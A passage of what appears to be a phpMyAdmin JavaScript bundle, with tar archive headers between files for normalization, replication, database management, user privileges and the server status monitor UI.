Messages.strCancel, class: 'btn btn-secondary' }).on('click', function () { $('#newCols').html(''); $('#extra input[type=checkbox]').prop('checked', false); }).appendTo('.tblFooters'); $('').attr({ type: 'submit', value: Messages.strGo, class: 'btn btn-primary' }).on('click', function () { moveRepeatingGroup(repeatingCols); }).appendTo('.tblFooters'); } }); $('#mainContent p').on('click', '#createPrimaryKey', function (event) { event.preventDefault(); var url = { 'create_index': 1, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'added_fields': 1, 'add_fields': 1, 'index': { 'Key_name': 'PRIMARY' }, 'ajax_request': true }; var title = Messages.strAddPrimaryKey; Functions.indexEditorDialog(url, title, function () { // on success $('.sqlqueryresults').remove(); $('.result_query').remove(); $('.tblFooters').html(''); goToStep2('goToStep3'); }); return false; }); $('#mainContent').on('click', '#backEditPd', function () { $('#mainContent').html(backup); }); $('#mainContent').on('click', '#showPossiblePd', function () { if ($(this).hasClass('hideList')) { $(this).html('+ ' + Messages.strShowPossiblePd); $(this).removeClass('hideList'); $('#newCols').slideToggle('slow'); return false; } if ($('#newCols').html() !== '') { $('#showPossiblePd').html('- ' + Messages.strHidePd); $('#showPossiblePd').addClass('hideList'); $('#newCols').slideToggle('slow'); return false; } $('#newCols').insertAfter('#mainContent h4'); $('#newCols').html('
      ' + Messages.strLoading + '
      ' + Messages.strWaitForPd + '
      '); $.post('index.php?route=/normalization', { 'ajax_request': true, 'db': CommonParams.get('db'), 'table': CommonParams.get('table'), 'server': CommonParams.get('server'), 'findPdl': true }, function (data) { $('#showPossiblePd').html('- ' + Messages.strHidePd); $('#showPossiblePd').addClass('hideList'); $('#newCols').html(data.message); }); }); $('#mainContent').on('click', '.pickPd', function () { var strColsLeft = $(this).next('.determinants').html(); var colsLeft = strColsLeft.split(','); var strColsRight = $(this).next().next().html(); var colsRight = strColsRight.split(','); for (var i in colsRight) { $('form[data-colname="' + colsRight[i].trim() + '"] input[type="checkbox"]').prop('checked', false); for (var j in colsLeft) { $('form[data-colname="' + colsRight[i].trim() + '"] input[value="' + colsLeft[j].trim() + '"]').prop('checked', true); } } }); });dist/ol.js000066600000002645151724472050006501 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = void 0; var _control = require("ol/control.js"); var _coordinate = require("ol/coordinate.js"); var _extent = require("ol/extent.js"); var _geom = require("ol/geom.js"); var _layer = require("ol/layer.js"); var _proj = require("ol/proj.js"); var _source = require("ol/source.js"); var _style = require("ol/style.js"); var _ol = require("ol"); const ol = { control: { Attribution: _control.Attribution, MousePosition: _control.MousePosition, Zoom: _control.Zoom }, coordinate: { createStringXY: _coordinate.createStringXY }, extent: { boundingExtent: _extent.boundingExtent }, geom: { LineString: _geom.LineString, LinearRing: _geom.LinearRing, MultiLineString: _geom.MultiLineString, MultiPoint: _geom.MultiPoint, MultiPolygon: _geom.MultiPolygon, Point: _geom.Point, Polygon: _geom.Polygon }, layer: { Tile: _layer.Tile, Vector: _layer.Vector }, proj: { fromLonLat: _proj.fromLonLat, get: _proj.get, transformExtent: _proj.transformExtent }, source: { OSM: _source.OSM, Vector: _source.Vector }, style: { Circle: _style.Circle, Fill: _style.Fill, Stroke: _style.Stroke, Style: _style.Style, Text: _style.Text }, Feature: _ol.Feature, Map: _ol.Map, View: _ol.View }; var _default = ol; exports.default = _default;dist/page_settings.js000066600000003432151724472050010716 0ustar00/** * @fileoverview function used for page-related settings * @name Page-related settings * * @requires jQuery * @requires jQueryUI * @required js/functions.js */ function showSettings(selector) { var buttons = { [Messages.strApply]: { text: Messages.strApply, class: 'btn btn-primary' }, [Messages.strCancel]: { text: Messages.strCancel, class: 'btn btn-secondary' } }; buttons[Messages.strApply].click = function () { $('.config-form').trigger('submit'); }; buttons[Messages.strCancel].click = function () { $(this).dialog('close'); }; // Keeping a clone to restore in case the user cancels the operation var $clone = $(selector + ' .page_settings').clone(true); $(selector).dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strPageSettings, width: 700, minHeight: 250, modal: true, open: function () { $(this).dialog('option', 'maxHeight', $(window).height() - $(this).offset().top); }, close: function () { $(selector + ' .page_settings').replaceWith($clone); }, buttons: buttons }); } function showPageSettings() { showSettings('#page_settings_modal'); } function showNaviSettings() { showSettings('#pma_navigation_settings'); } AJAX.registerTeardown('page_settings.js', function () { $('#page_settings_icon').css('display', 'none'); $('#page_settings_icon').off('click'); $('#pma_navigation_settings_icon').off('click'); }); AJAX.registerOnload('page_settings.js', function () { if ($('#page_settings_modal').length) { $('#page_settings_icon').css('display', 'inline'); $('#page_settings_icon').on('click', showPageSettings); } $('#pma_navigation_settings_icon').on('click', showNaviSettings); });dist/replication.js000066600000006725151724472050010403 0ustar00/** * @fileoverview Javascript functions used in server replication page * @name Server Replication * * @requires jQuery * @requires jQueryUI * @requires js/functions.js */ var randomServerId = Math.floor(Math.random() * 10000000); var confPrefix = 'server-id=' + randomServerId + '\nlog_bin=mysql-bin\nlog_error=mysql-bin.err\n'; function updateConfig() { var confIgnore = 'binlog_ignore_db='; var confDo = 'binlog_do_db='; var databaseList = ''; if ($('#db_select option:selected').length === 0) { $('#rep').text(confPrefix); } else if ($('#db_type option:selected').val() === 'all') { $('#db_select option:selected').each(function () { databaseList += confIgnore + $(this).val() + '\n'; }); $('#rep').text(confPrefix + databaseList); } else { $('#db_select option:selected').each(function () { databaseList += confDo + $(this).val() + '\n'; }); $('#rep').text(confPrefix + databaseList); } } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('replication.js', function () { $('#db_type').off('change'); $('#db_select').off('change'); $('#primary_status_href').off('click'); $('#primary_replicas_href').off('click'); $('#replica_status_href').off('click'); $('#replica_control_href').off('click'); $('#replica_errormanagement_href').off('click'); $('#replica_synchronization_href').off('click'); $('#db_reset_href').off('click'); $('#db_select_href').off('click'); $('#reset_replica').off('click'); }); AJAX.registerOnload('replication.js', function () { $('#rep').text(confPrefix); $('#db_type').on('change', updateConfig); $('#db_select').on('change', updateConfig); $('#primary_status_href').on('click', function () { $('#replication_primary_section').toggle(); }); $('#primary_replicas_href').on('click', function () { $('#replication_replicas_section').toggle(); }); $('#replica_status_href').on('click', function () { $('#replication_replica_section').toggle(); }); $('#replica_control_href').on('click', function () { $('#replica_control_gui').toggle(); }); $('#replica_errormanagement_href').on('click', function () { $('#replica_errormanagement_gui').toggle(); }); $('#replica_synchronization_href').on('click', function () { $('#replica_synchronization_gui').toggle(); }); $('#db_reset_href').on('click', function () { $('#db_select option:selected').prop('selected', false); $('#db_select').trigger('change'); }); $('#db_select_href').on('click', function () { $('#db_select option').prop('selected', true); $('#db_select').trigger('change'); }); $('#reset_replica').on('click', function (e) { e.preventDefault(); var $anchor = $(this); var question = Messages.strResetReplicaWarning; $anchor.confirm(question, $anchor.attr('href'), function (url) { Functions.ajaxShowMessage(); AJAX.source = $anchor; var params = Functions.getJsConfirmCommonParam({ 'ajax_page_request': true, 'ajax_request': true }, $anchor.getPostData()); $.post(url, params, AJAX.responseHandler); }); }); $('#button_generate_password').on('click', function () { Functions.suggestPassword(this.form); }); $('#nopass_1').on('click', function () { this.form.pma_pw.value = ''; this.form.pma_pw2.value = ''; this.checked = true; }); $('#nopass_0').on('click', function () { document.getElementById('text_pma_change_pw').focus(); }); });dist/server/databases.js000066600000011063151724472050011316 0ustar00/** * @fileoverview functions used on the server databases list page * @name Server Databases * * @requires jQuery * @requires jQueryUI * @required js/functions.js */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/databases.js', function () { $(document).off('submit', '#dbStatsForm'); $(document).off('submit', '#create_database_form.ajax'); }); /** * AJAX scripts for /server/databases * * Actions ajaxified here: * Drop Databases * */ AJAX.registerOnload('server/databases.js', function () { /** * Attach Event Handler for 'Drop Databases' */ $(document).on('submit', '#dbStatsForm', function (event) { event.preventDefault(); var $form = $(this); /** * @var selected_dbs Array containing the names of the checked databases */ var selectedDbs = []; // loop over all checked checkboxes, except the .checkall_box checkbox $form.find('input:checkbox:checked:not(.checkall_box)').each(function () { $(this).closest('tr').addClass('removeMe'); selectedDbs[selectedDbs.length] = 'DROP DATABASE `' + Functions.escapeHtml($(this).val()) + '`;'; }); if (!selectedDbs.length) { Functions.ajaxShowMessage($('').text(Messages.strNoDatabasesSelected), 2000); return; } /** * @var question String containing the question to be asked for confirmation */ var question = Messages.strDropDatabaseStrongWarning + ' ' + Functions.sprintf(Messages.strDoYouReally, selectedDbs.join('
      ')); const modal = $('#dropDatabaseModal'); modal.find('.modal-body').html(question); modal.modal('show'); const url = 'index.php?route=/server/databases/destroy&' + $(this).serialize(); $('#dropDatabaseModalDropButton').on('click', function () { Functions.ajaxShowMessage(Messages.strProcessingRequest, false); var parts = url.split('?'); var params = Functions.getJsConfirmCommonParam(this, parts[1]); $.post(parts[0], params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); var $rowsToRemove = $form.find('tr.removeMe'); var $databasesCount = $('#filter-rows-count'); var newCount = parseInt($databasesCount.text(), 10) - $rowsToRemove.length; $databasesCount.text(newCount); $rowsToRemove.remove(); $form.find('tbody').sortTable('.name'); if ($form.find('tbody').find('tr').length === 0) { // user just dropped the last db on this page CommonActions.refreshMain(); } Navigation.reload(); } else { $form.find('tr.removeMe').removeClass('removeMe'); Functions.ajaxShowMessage(data.error, false); } }); modal.modal('hide'); $('#dropDatabaseModalDropButton').off('click'); }); }); /** * Attach Ajax event handlers for 'Create Database'. */ $(document).on('submit', '#create_database_form.ajax', function (event) { event.preventDefault(); var $form = $(this); // TODO Remove this section when all browsers support HTML5 "required" property var newDbNameInput = $form.find('input[name=new_db]'); if (newDbNameInput.val() === '') { newDbNameInput.trigger('focus'); alert(Messages.strFormEmpty); return; } // end remove Functions.ajaxShowMessage(Messages.strProcessingRequest); Functions.prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize(), function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); var $databasesCountObject = $('#filter-rows-count'); var databasesCount = parseInt($databasesCountObject.text(), 10) + 1; $databasesCountObject.text(databasesCount); Navigation.reload(); // make ajax request to load db structure page - taken from ajax.js var dbStructUrl = data.url; dbStructUrl = dbStructUrl.replace(/amp;/ig, ''); var params = 'ajax_request=true' + CommonParams.get('arg_separator') + 'ajax_page_request=true'; $.get(dbStructUrl, params, AJAX.responseHandler); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); // end $(document).on() var tableRows = $('.server_databases'); $.each(tableRows, function () { $(this).on('click', function () { CommonActions.setDb($(this).attr('data')); }); }); }); // end $()dist/server/plugins.js000066600000000655151724472050011055 0ustar00/** * Functions used in server plugins pages */ AJAX.registerOnload('server/plugins.js', function () { // Make columns sortable, but only for tables with more than 1 data row var $tables = $('#plugins_plugins table:has(tbody tr + tr)'); $tables.tablesorter({ sortList: [[0, 0]], headers: { 1: { sorter: false } } }); $tables.find('thead th').append('
      '); });dist/server/privileges.js000066600000036566151724472050011557 0ustar00/** * @fileoverview functions used in server privilege pages * @name Server Privileges * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * */ /** * Validates the "add a user" form * * @param theForm * * @return {bool} whether the form is validated or not */ function checkAddUser(theForm) { if (theForm.elements.hostname.value === '') { alert(Messages.strHostEmpty); theForm.elements.hostname.focus(); return false; } if (theForm.elements.pred_username && theForm.elements.pred_username.value === 'userdefined' && theForm.elements.username.value === '') { alert(Messages.strUserEmpty); theForm.elements.username.focus(); return false; } return Functions.checkPassword($(theForm)); } /** * Export privileges modal handler * * @param {object} data * * @param {JQuery} msgbox * */ function exportPrivilegesModalHandler(data, msgbox) { if (typeof data !== 'undefined' && data.success === true) { var modal = $('#exportPrivilegesModal'); // Remove any previous privilege modal data, if any modal.find('.modal-body').first().html(''); $('#exportPrivilegesModalLabel').first().html('Loading'); modal.modal('show'); modal.on('shown.bs.modal', function () { modal.find('.modal-body').first().html(data.message); $('#exportPrivilegesModalLabel').first().html(data.title); Functions.ajaxRemoveMessage(msgbox); // Attach syntax highlighted editor to export dialog Functions.getSqlEditor(modal.find('textarea')); }); return; } Functions.ajaxShowMessage(data.error, false); } /** * @implements EventListener */ const EditUserGroup = { /** * @param {MouseEvent} event */ handleEvent: function (event) { const editUserGroupModal = document.getElementById('editUserGroupModal'); const button = event.relatedTarget; const username = button.getAttribute('data-username'); $.get('index.php?route=/server/user-groups/edit-form', { 'username': username, 'server': CommonParams.get('server') }, data => { if (typeof data === 'undefined' || data.success !== true) { Functions.ajaxShowMessage(data.error, false, 'error'); return; } const modal = bootstrap.Modal.getInstance(editUserGroupModal); const modalBody = editUserGroupModal.querySelector('.modal-body'); const saveButton = editUserGroupModal.querySelector('#editUserGroupModalSaveButton'); modalBody.innerHTML = data.message; saveButton.addEventListener('click', () => { const form = $(editUserGroupModal.querySelector('#changeUserGroupForm')); $.post('index.php?route=/server/privileges', form.serialize() + CommonParams.get('arg_separator') + 'ajax_request=1', data => { if (typeof data === 'undefined' || data.success !== true) { Functions.ajaxShowMessage(data.error, false, 'error'); return; } const userGroup = form.serializeArray().find(el => el.name === 'userGroup').value; // button -> td -> tr -> td.usrGroup const userGroupTableCell = button.parentElement.parentElement.querySelector('.usrGroup'); userGroupTableCell.textContent = userGroup; }); modal.hide(); }); }); } }; /** * @implements EventListener */ const AccountLocking = { handleEvent: function () { const button = this; const isLocked = button.dataset.isLocked === 'true'; const url = isLocked ? 'index.php?route=/server/privileges/account-unlock' : 'index.php?route=/server/privileges/account-lock'; const params = { 'username': button.dataset.userName, 'hostname': button.dataset.hostName, 'ajax_request': true, 'server': CommonParams.get('server') }; $.post(url, params, data => { if (data.success === false) { Functions.ajaxShowMessage(data.error); return; } if (isLocked) { const lockIcon = Functions.getImage('s_lock', Messages.strLock, {}).toString(); button.innerHTML = '' + lockIcon + ' ' + Messages.strLock + ''; button.title = Messages.strLockAccount; button.dataset.isLocked = 'false'; } else { const unlockIcon = Functions.getImage('s_unlock', Messages.strUnlock, {}).toString(); button.innerHTML = '' + unlockIcon + ' ' + Messages.strUnlock + ''; button.title = Messages.strUnlockAccount; button.dataset.isLocked = 'true'; } Functions.ajaxShowMessage(data.message); }); } }; /** * AJAX scripts for /server/privileges page. * * Actions ajaxified here: * Add user * Revoke a user * Edit privileges * Export privileges * Paginate table of users * Flush privileges * * @memberOf jQuery * @name document.ready */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/privileges.js', function () { $('#fieldset_add_user_login').off('change', 'input[name=\'username\']'); $(document).off('click', '#deleteUserCard .btn.ajax'); const editUserGroupModal = document.getElementById('editUserGroupModal'); if (editUserGroupModal) { editUserGroupModal.removeEventListener('show.bs.modal', EditUserGroup); } $(document).off('click', 'button.mult_submit[value=export]'); $(document).off('click', 'a.export_user_anchor.ajax'); $('button.jsAccountLocking').off('click'); $('#dropUsersDbCheckbox').off('click'); $(document).off('click', '.checkall_box'); $(document).off('change', '#checkbox_SSL_priv'); $(document).off('change', 'input[name="ssl_type"]'); $(document).off('change', '#select_authentication_plugin'); }); AJAX.registerOnload('server/privileges.js', function () { /** * Display a warning if there is already a user by the name entered as the username. */ $('#fieldset_add_user_login').on('change', 'input[name=\'username\']', function () { var username = $(this).val(); var $warning = $('#user_exists_warning'); if ($('#select_pred_username').val() === 'userdefined' && username !== '') { var href = $('form[name=\'usersForm\']').attr('action'); var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'validate_username': true, 'username': username }; $.get(href, params, function (data) { if (data.user_exists) { $warning.show(); } else { $warning.hide(); } }); } else { $warning.hide(); } }); /** * Indicating password strength */ $('#text_pma_pw').on('keyup', function () { var meterObj = $('#password_strength_meter'); var meterObjLabel = $('#password_strength'); var username = $('input[name="username"]'); username = username.val(); Functions.checkPasswordStrength($(this).val(), meterObj, meterObjLabel, username); }); /** * Automatically switching to 'Use Text field' from 'No password' once start writing in text area */ $('#text_pma_pw').on('input', function () { if ($('#text_pma_pw').val() !== '') { $('#select_pred_password').val('userdefined'); } }); $('#text_pma_change_pw').on('keyup', function () { var meterObj = $('#change_password_strength_meter'); var meterObjLabel = $('#change_password_strength'); Functions.checkPasswordStrength($(this).val(), meterObj, meterObjLabel, CommonParams.get('user')); }); /** * Display a notice if sha256_password is selected */ $(document).on('change', '#select_authentication_plugin', function () { var selectedPlugin = $(this).val(); if (selectedPlugin === 'sha256_password') { $('#ssl_reqd_warning').show(); } else { $('#ssl_reqd_warning').hide(); } }); /** * AJAX handler for 'Revoke User' * * @see Functions.ajaxShowMessage() * @memberOf jQuery * @name revoke_user_click */ $(document).on('click', '#deleteUserCard .btn.ajax', function (event) { event.preventDefault(); var $thisButton = $(this); var $form = $('#usersForm'); $thisButton.confirm(Messages.strDropUserWarning, $form.attr('action'), function (url) { var $dropUsersDbCheckbox = $('#dropUsersDbCheckbox'); if ($dropUsersDbCheckbox.is(':checked')) { var isConfirmed = confirm(Messages.strDropDatabaseStrongWarning + '\n' + Functions.sprintf(Messages.strDoYouReally, 'DROP DATABASE')); if (!isConfirmed) { // Uncheck the drop users database checkbox $dropUsersDbCheckbox.prop('checked', false); } } Functions.ajaxShowMessage(Messages.strRemovingSelectedUsers); var argsep = CommonParams.get('arg_separator'); $.post(url, $form.serialize() + argsep + 'delete=' + $thisButton.val() + argsep + 'ajax_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); // Refresh navigation, if we dropped some databases with the name // that is the same as the username of the deleted user if ($('#dropUsersDbCheckbox:checked').length) { Navigation.reload(); } // Remove the revoked user from the users list $form.find('input:checkbox:checked').parents('tr').slideUp('medium', function () { var thisUserInitial = $(this).find('input:checkbox').val().charAt(0).toUpperCase(); $(this).remove(); // If this is the last user with thisUserInitial, remove the link from #userAccountsPagination if ($('#userRightsTable').find('input:checkbox[value^="' + thisUserInitial + '"], input:checkbox[value^="' + thisUserInitial.toLowerCase() + '"]').length === 0) { $('#userAccountsPagination').find('.page-item > .page-link:contains(' + thisUserInitial + ')').parent('.page-item').addClass('disabled').html('' + thisUserInitial + ''); } // Re-check the classes of each row $form.find('tbody').find('tr').each(function (index) { if (index >= 0 && index % 2 === 0) { $(this).removeClass('odd').addClass('even'); } else if (index >= 0 && index % 2 !== 0) { $(this).removeClass('even').addClass('odd'); } }); // update the checkall checkbox $(Functions.checkboxesSel).trigger('change'); }); } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() }); }); // end Revoke User const editUserGroupModal = document.getElementById('editUserGroupModal'); if (editUserGroupModal) { editUserGroupModal.addEventListener('show.bs.modal', EditUserGroup); } /** * AJAX handler for 'Export Privileges' * * @see Functions.ajaxShowMessage() * @memberOf jQuery * @name export_user_click */ $(document).on('click', 'button.mult_submit[value=export]', function (event) { event.preventDefault(); // can't export if no users checked if ($(this.form).find('input:checked').length === 0) { Functions.ajaxShowMessage(Messages.strNoAccountSelected, 2000, 'success'); return; } var msgbox = Functions.ajaxShowMessage(); var argsep = CommonParams.get('arg_separator'); var serverId = CommonParams.get('server'); var selectedUsers = $('#usersForm input[name*=\'selected_usr\']:checkbox').serialize(); var postStr = selectedUsers + '&submit_mult=export' + argsep + 'ajax_request=true&server=' + serverId; $.post($(this.form).prop('action'), postStr, function (data) { exportPrivilegesModalHandler(data, msgbox); }); // end $.post }); // if exporting non-ajax, highlight anyways Functions.getSqlEditor($('textarea.export')); $(document).on('click', 'a.export_user_anchor.ajax', function (event) { event.preventDefault(); var msgbox = Functions.ajaxShowMessage(); $.get($(this).attr('href'), { 'ajax_request': true }, function (data) { exportPrivilegesModalHandler(data, msgbox); }); // end $.get }); // end export privileges $('button.jsAccountLocking').on('click', AccountLocking.handleEvent); $(document).on('change', 'input[name="ssl_type"]', function () { var $div = $('#specified_div'); if ($('#ssl_type_SPECIFIED').is(':checked')) { $div.find('input').prop('disabled', false); } else { $div.find('input').prop('disabled', true); } }); $(document).on('change', '#checkbox_SSL_priv', function () { var $div = $('#require_ssl_div'); if ($(this).is(':checked')) { $div.find('input').prop('disabled', false); $('#ssl_type_SPECIFIED').trigger('change'); } else { $div.find('input').prop('disabled', true); } }); $('#checkbox_SSL_priv').trigger('change'); /* * Create submenu for simpler interface */ var addOrUpdateSubmenu = function () { var $subNav = $('.nav-pills'); var $editUserDialog = $('#edit_user_dialog'); var submenuLabel; var submenuLink; var linkNumber; // if submenu exists yet, remove it first if ($subNav.length > 0) { $subNav.remove(); } // construct a submenu from the existing fieldsets $subNav = $('
        ').prop('class', 'nav nav-pills m-2'); $('#edit_user_dialog .submenu-item').each(function () { submenuLabel = $(this).find('legend[data-submenu-label]').data('submenu-label'); submenuLink = $('').prop('class', 'nav-link').prop('href', '#').html(submenuLabel); $('
      • ').prop('class', 'nav-item').append(submenuLink).appendTo($subNav); }); // click handlers for submenu $subNav.find('a').on('click', function (e) { e.preventDefault(); // if already active, ignore click if ($(this).hasClass('active')) { return; } $subNav.find('a').removeClass('active'); $(this).addClass('active'); // which section to show now? linkNumber = $subNav.find('a').index($(this)); // hide all sections but the one to show $('#edit_user_dialog .submenu-item').hide().eq(linkNumber).show(); }); // make first menu item active // TODO: support URL hash history $subNav.find('> :first-child a').addClass('active'); $editUserDialog.prepend($subNav); // hide all sections but the first $('#edit_user_dialog .submenu-item').hide().eq(0).show(); // scroll to the top $('html, body').animate({ scrollTop: 0 }, 'fast'); }; $('input.autofocus').trigger('focus'); $(Functions.checkboxesSel).trigger('change'); Functions.displayPasswordGenerateButton(); if ($('#edit_user_dialog').length > 0) { addOrUpdateSubmenu(); } /** * Select all privileges * * @param {HTMLElement} e * @return {void} */ var tableSelectAll = function (e) { const method = e.target.getAttribute('data-select-target'); var options = $(method).first().children(); options.each(function (_, obj) { obj.selected = true; }); }; $('#select_priv_all').on('click', tableSelectAll); $('#insert_priv_all').on('click', tableSelectAll); $('#update_priv_all').on('click', tableSelectAll); $('#references_priv_all').on('click', tableSelectAll); var windowWidth = $(window).width(); $('.jsresponsive').css('max-width', windowWidth - 35 + 'px'); $('#addUsersForm').on('submit', function () { return checkAddUser(this); }); $('#copyUserForm').on('submit', function () { return checkAddUser(this); }); });dist/server/status/monitor.js000066600000226014151724472050012405 0ustar00/** * @fileoverview Javascript functions used in server status monitor page * @name Server Status Monitor * * @requires jQuery * @requires jQueryUI * @requires js/functions.js */ /* global isStorageSupported */ // js/config.js /* global codeMirrorEditor:writable */ // js/functions.js /* global firstDayOfCalendar, themeImagePath */ // templates/javascript/variables.twig /* global variableNames */ // templates/server/status/monitor/index.twig var runtime = {}; var serverTimeDiff; var serverOs; var isSuperUser; var serverDbIsLocal; var chartSize; var monitorSettings; function serverResponseError() { var btns = { [Messages.strReloadPage]: { text: Messages.strReloadPage, class: 'btn btn-primary', click: function () { window.location.reload(); } } }; $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strRefreshFailed }); $('#emptyDialog').html(Functions.getImage('s_attention') + Messages.strInvalidResponseExplanation); $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, buttons: btns }); } /** * Destroys all monitor related resources */ function destroyGrid() { if (runtime.charts) { $.each(runtime.charts, function (key, value) { try { value.chart.destroy(); } catch (err) { // continue regardless of error } }); } try { runtime.refreshRequest.abort(); } catch (err) { // continue regardless of error } try { clearTimeout(runtime.refreshTimeout); } catch (err) { // continue regardless of error } $('#chartGrid').html(''); runtime.charts = null; runtime.chartAI = 0; monitorSettings = null; } AJAX.registerOnload('server/status/monitor.js', function () { var $jsDataForm = $('#js_data'); serverTimeDiff = new Date().getTime() - $jsDataForm.find('input[name=server_time]').val(); serverOs = $jsDataForm.find('input[name=server_os]').val(); isSuperUser = $jsDataForm.find('input[name=is_superuser]').val(); serverDbIsLocal = $jsDataForm.find('input[name=server_db_isLocal]').val(); }); /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/status/monitor.js', function () { $('#emptyDialog').remove(); $('a.popupLink').off('click'); $('body').off('click'); }); /** * Popup behaviour */ AJAX.registerOnload('server/status/monitor.js', function () { $('
        ').attr('id', 'emptyDialog').appendTo('#page_content'); $('a.popupLink').on('click', function () { var $link = $(this); $('div.' + $link.attr('href').substr(1)).show().offset({ top: $link.offset().top + $link.height() + 5, left: $link.offset().left }).addClass('openedPopup'); return false; }); $('body').on('click', function (event) { $('div.openedPopup').each(function () { var $cnt = $(this); var pos = $cnt.offset(); // Hide if the mouseclick is outside the popupcontent if (event.pageX > pos.left + $cnt.outerWidth() || event.pageY > pos.top + $cnt.outerHeight()) { $cnt.hide().removeClass('openedPopup'); } }); }); }); AJAX.registerTeardown('server/status/monitor.js', function () { $('a[href="#rearrangeCharts"], a[href="#endChartEditMode"]').off('click'); $('div.popupContent select[name="chartColumns"]').off('change'); $('div.popupContent select[name="gridChartRefresh"]').off('change'); $('a[href="#addNewChart"]').off('click'); $('a[href="#exportMonitorConfig"]').off('click'); $('a[href="#importMonitorConfig"]').off('click'); $('a[href="#clearMonitorConfig"]').off('click'); $('a[href="#pauseCharts"]').off('click'); $('a[href="#monitorInstructionsDialog"]').off('click'); $('input[name="chartType"]').off('click'); $('input[name="useDivisor"]').off('click'); $('input[name="useUnit"]').off('click'); $('select[name="varChartList"]').off('click'); $('a[href="#kibDivisor"]').off('click'); $('a[href="#mibDivisor"]').off('click'); $('a[href="#submitClearSeries"]').off('click'); $('a[href="#submitAddSeries"]').off('click'); // $("input#variableInput").destroy(); $('#chartPreset').off('click'); $('#chartStatusVar').off('click'); destroyGrid(); }); AJAX.registerOnload('server/status/monitor.js', function () { // Show tab links $('div.tabLinks').show(); $('#loadingMonitorIcon').remove(); // Codemirror is loaded on demand so we might need to initialize it if (!codeMirrorEditor) { var $elm = $('#sqlquery'); if ($elm.length > 0 && typeof CodeMirror !== 'undefined') { codeMirrorEditor = CodeMirror.fromTextArea($elm[0], { lineNumbers: true, matchBrackets: true, indentUnit: 4, mode: 'text/x-mysql', lineWrapping: true }); } } // Timepicker is loaded on demand so we need to initialize // datetime fields from the 'load log' dialog $('#logAnalyseDialog').find('.datetimefield').each(function () { Functions.addDatepicker($(this)); }); /** ** Monitor charting implementation ****/ /* Saves the previous ajax response for differential values */ var oldChartData = null; // Holds about to be created chart var newChart = null; var chartSpacing; // Whenever the monitor object (runtime.charts) or the settings object // (monitorSettings) changes in a way incompatible to the previous version, // increase this number. It will reset the users monitor and settings object // in their localStorage to the default configuration var monitorProtocolVersion = '1.0'; // Runtime parameter of the monitor, is being fully set in initGrid() runtime = { // Holds all visible charts in the grid charts: null, // Stores the timeout handler so it can be cleared refreshTimeout: null, // Stores the GET request to refresh the charts refreshRequest: null, // Chart auto increment chartAI: 0, // To play/pause the monitor redrawCharts: false, // Object that contains a list of nodes that need to be retrieved // from the server for chart updates dataList: [], // Current max points per chart (needed for auto calculation) gridMaxPoints: 20, // displayed time frame xmin: -1, xmax: -1 }; monitorSettings = null; var defaultMonitorSettings = { columns: 3, chartSize: { width: 295, height: 250 }, // Max points in each chart. Settings it to 'auto' sets // gridMaxPoints to (chartwidth - 40) / 12 gridMaxPoints: 'auto', /* Refresh rate of all grid charts in ms */ gridRefresh: 5000 }; // Allows drag and drop rearrange and print/edit icons on charts var editMode = false; /* List of preconfigured charts that the user may select */ var presetCharts = { // Query cache efficiency 'qce': { title: Messages.strQueryCacheEfficiency, series: [{ label: Messages.strQueryCacheEfficiency }], nodes: [{ dataPoints: [{ type: 'statusvar', name: 'Qcache_hits' }, { type: 'statusvar', name: 'Com_select' }], transformFn: 'qce' }], maxYLabel: 0 }, // Query cache usage 'qcu': { title: Messages.strQueryCacheUsage, series: [{ label: Messages.strQueryCacheUsed }], nodes: [{ dataPoints: [{ type: 'statusvar', name: 'Qcache_free_memory' }, { type: 'servervar', name: 'query_cache_size' }], transformFn: 'qcu' }], maxYLabel: 0 } }; // time span selection var selectionTimeDiff = []; var selectionStartX; var selectionStartY; var drawTimeSpan = false; /* Add OS specific system info charts to the preset chart list */ switch (serverOs) { case 'WINNT': $.extend(presetCharts, { 'cpu': { title: Messages.strSystemCPUUsage, series: [{ label: Messages.strAverageLoad }], nodes: [{ dataPoints: [{ type: 'cpu', name: 'loadavg' }] }], maxYLabel: 100 }, 'memory': { title: Messages.strSystemMemory, series: [{ dataType: 'memory', label: Messages.strUsedMemory, fill: true }, { label: Messages.strFreeMemory, fill: true }], nodes: [{ dataPoints: [{ type: 'memory', name: 'MemUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'MemFree' }], valueDivisor: 1024 }], maxYLabel: 0 }, 'swap': { title: Messages.strSystemSwap, series: [{ label: Messages.strUsedSwap, fill: true }, { label: Messages.strFreeSwap, fill: true }], nodes: [{ dataPoints: [{ type: 'memory', name: 'SwapUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'SwapFree' }], valueDivisor: 1024 }], maxYLabel: 0 } }); break; case 'Linux': $.extend(presetCharts, { 'cpu': { title: Messages.strSystemCPUUsage, series: [{ label: Messages.strAverageLoad }], nodes: [{ dataPoints: [{ type: 'cpu', name: 'irrelevant' }], transformFn: 'cpu-linux' }], maxYLabel: 0 }, 'memory': { title: Messages.strSystemMemory, series: [{ label: Messages.strBufferedMemory, fill: true }, { label: Messages.strUsedMemory, fill: true }, { label: Messages.strCachedMemory, fill: true }, { label: Messages.strFreeMemory, fill: true }], nodes: [{ dataPoints: [{ type: 'memory', name: 'Buffers' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'MemUsed' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'Cached' }], valueDivisor: 1024 }, { dataPoints: [{ type: 'memory', name: 'MemFree' }], 